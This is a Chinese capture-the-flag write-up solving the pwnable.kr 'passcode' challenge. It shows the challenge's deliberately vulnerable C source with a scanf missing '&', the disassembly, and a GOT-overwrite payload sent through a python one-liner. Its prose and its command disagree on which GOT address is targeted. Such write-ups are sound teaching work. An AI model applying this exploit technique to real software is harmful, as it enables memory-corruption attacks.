pwnable.kr-passcode

pwnable.kr-passcode

这道题目有难度,之前没有遇到过,查看其他人写的writeup,有了解题思路,顺着做了一遍,加深理解。
涉及知识点:scanf函数漏洞、GOT覆写技术、gdb调试
参考:https://blog.csdn.net/smalosnail/article/details/53247502

题目描述

1
2
3
4
5
Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

题目说要建立一个基于密码的登录系统,源代码C在编译时有警告。同样给出SSH远程登录的命令。

题目分析

  1. 远程登录用户机
    同前边的第一道题一样,有三个文件
    flag passcode passcode.c
  2. 查看passcode.c代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

程序很好理解,有三个函数,login、welcome、main函数,在主函数中,先调用welcome函数,在调用login函数,其中welcome函数中就调用scanf函数输入name,关键的就在login函数,输入另个数,使得passcode1==338150 && passcode2==13371337就会得到flag。

  1. 这里的scanf(“%d”, passcode1),少了‘&’,取地址的符号,这里就默认从存放passcode1数据的栈中取4个字节当做scanf取的地址(本来scanf是取存放passcode1的地址,现在取的是passcode1的数据)。这里存在scanf漏洞

解题思路

利用GOT覆写技术,把scanf该取的passcode1地址改为其他函数的地址,如fflush函数,把
system(“/bin/cat flag”)这条指令写入这个函数中,那么在调用这个函数时,就能执行system函数了,从而得到flag。根据代码可以看出,这里是把输入psaacode1和passcode2绕过了,从而防止scanf错误出现。

  1. 查看login函数的反汇编代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
08048564 <login>:
8048564: 55 push %ebp
8048565: 89 e5 mov %esp,%ebp
8048567: 83 ec 28 sub $0x28,%esp
804856a: b8 70 87 04 08 mov $0x8048770,%eax
804856f: 89 04 24 mov %eax,(%esp)
8048572: e8 a9 fe ff ff call 8048420 <printf@plt>
8048577: b8 83 87 04 08 mov $0x8048783,%eax
804857c: 8b 55 f0 mov -0x10(%ebp),%edx
804857f: 89 54 24 04 mov %edx,0x4(%esp)
8048583: 89 04 24 mov %eax,(%esp)
8048586: e8 15 ff ff ff call 80484a0 <__isoc99_scanf@plt>
804858b: a1 2c a0 04 08 mov 0x804a02c,%eax
8048590: 89 04 24 mov %eax,(%esp)
8048593: e8 98 fe ff ff call 8048430 <fflush@plt>
8048598: b8 86 87 04 08 mov $0x8048786,%eax
804859d: 89 04 24 mov %eax,(%esp)
80485a0: e8 7b fe ff ff call 8048420 <printf@plt>
80485a5: b8 83 87 04 08 mov $0x8048783,%eax
80485aa: 8b 55 f4 mov -0xc(%ebp),%edx
80485ad: 89 54 24 04 mov %edx,0x4(%esp)
80485b1: 89 04 24 mov %eax,(%esp)
80485b4: e8 e7 fe ff ff call 80484a0 <__isoc99_scanf@plt>
80485b9: c7 04 24 99 87 04 08 movl $0x8048799,(%esp)
80485c0: e8 8b fe ff ff call 8048450 <puts@plt>
80485c5: 81 7d f0 e6 28 05 00 cmpl $0x528e6,-0x10(%ebp)
80485cc: 75 23 jne 80485f1 <login+0x8d>
80485ce: 81 7d f4 c9 07 cc 00 cmpl $0xcc07c9,-0xc(%ebp)
80485d5: 75 1a jne 80485f1 <login+0x8d>
80485d7: c7 04 24 a5 87 04 08 movl $0x80487a5,(%esp)
80485de: e8 6d fe ff ff call 8048450 <puts@plt>
80485e3: c7 04 24 af 87 04 08 movl $0x80487af,(%esp)
80485ea: e8 71 fe ff ff call 8048460 <system@plt>
80485ef: c9 leave
80485f0: c3 ret
80485f1: c7 04 24 bd 87 04 08 movl $0x80487bd,(%esp)
80485f8: e8 53 fe ff ff call 8048450 <puts@plt>
80485fd: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048604: e8 77 fe ff ff call 8048480 <exit@plt>

80485e3: c7 04 24 af 87 04 08 movl $0x80487af,(%esp)这里是把”/bin/cat flag”入栈,那么就把0x80485e3写入fflush函数中。

  1. 查看fflush函数在GOT表中的位置:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
passcode@ubuntu:~$ objdump -R passcode

passcode: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a02c R_386_COPY stdin@@GLIBC_2.0
0804a000 R_386_JUMP_SLOT printf@GLIBC_2.0
0804a004 R_386_JUMP_SLOT fflush@GLIBC_2.0
0804a008 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.4
0804a00c R_386_JUMP_SLOT puts@GLIBC_2.0
0804a010 R_386_JUMP_SLOT system@GLIBC_2.0
0804a014 R_386_JUMP_SLOT __gmon_start__
0804a018 R_386_JUMP_SLOT exit@GLIBC_2.0
0804a01c R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
0804a020 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7

需要把0x80485e3覆盖掉在0x0804a004位置的fflush函数的GOT表。
GOT覆写技术:由于GOT表是可写的,把其中的函数地址覆盖为我们shellcode地址,在程序进行调用这个函数时就会执行shellcode。

  1. 构造填充数据
    发现welcome()和login()共同使用一个共享栈,也就是说,两个函数使用同一个ebp,先调用welcome的话,name所占空间也被算在里边。
1
2
3
4
5
6
7
8
9
10
11
12
13
(gdb) break welcome()
Function "welcome()" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 2 (welcome()) pending.
(gdb) i r ebp
ebp 0xffadff48 0xffadff48

(gdb) break login()
Function "login()" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 4 (login()) pending.
(gdb) i r ebp
ebp 0xffadff48 0xffadff48

查看welcome函数的反汇编代码,找name所占空间。 -0x70(%ebp),%edx,ebp-0x70就是name的地址,0x70即为name所占空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
08048609 <welcome>:
8048609: 55 push %ebp
804860a: 89 e5 mov %esp,%ebp
804860c: 81 ec 88 00 00 00 sub $0x88,%esp
8048612: 65 a1 14 00 00 00 mov %gs:0x14,%eax
8048618: 89 45 f4 mov %eax,-0xc(%ebp)
804861b: 31 c0 xor %eax,%eax
804861d: b8 cb 87 04 08 mov $0x80487cb,%eax
8048622: 89 04 24 mov %eax,(%esp)
8048625: e8 f6 fd ff ff call 8048420 <printf@plt>
804862a: b8 dd 87 04 08 mov $0x80487dd,%eax
804862f: 8d 55 90 lea -0x70(%ebp),%edx
8048632: 89 54 24 04 mov %edx,0x4(%esp)
8048636: 89 04 24 mov %eax,(%esp)
8048639: e8 62 fe ff ff call 80484a0 <__isoc99_scanf@plt>
804863e: b8 e3 87 04 08 mov $0x80487e3,%eax
8048643: 8d 55 90 lea -0x70(%ebp),%edx
8048646: 89 54 24 04 mov %edx,0x4(%esp)
804864a: 89 04 24 mov %eax,(%esp)
804864d: e8 ce fd ff ff call 8048420 <printf@plt>
8048652: 8b 45 f4 mov -0xc(%ebp),%eax
8048655: 65 33 05 14 00 00 00 xor %gs:0x14,%eax
804865c: 74 05 je 8048663 <welcome+0x5a>
804865e: e8 dd fd ff ff call 8048440 <__stack_chk_fail@plt>
8048663: c9 leave
8048664: c3 ret

passcode1(login函数的反汇编代码可以看出)的位置为ebp-0x10,那么从name到passcode1所占范围为:0x70-0x10=0x60=96,name要求输入100个字节,那么name的最后4个字节就会被当做是passcode1的地址,也就是这里fflush函数的地址。
paylode:
‘a’*96+p32(fflush_got)+str(sys_addr)
‘a’*96+p32(0x0804a004)+str(0x80485e3)

输入命令:
python -c “print ‘A’ * 96 + ‘\x00\xa0\x04\x08’ + ‘134514147\n’” | ./passcode
得到flag:Sorry mom.. I got confused about scanf usage :(

文章目录
  1. 1. pwnable.kr-passcode
    1. 1.1. 题目描述
    2. 1.2. 题目分析
    3. 1.3. 解题思路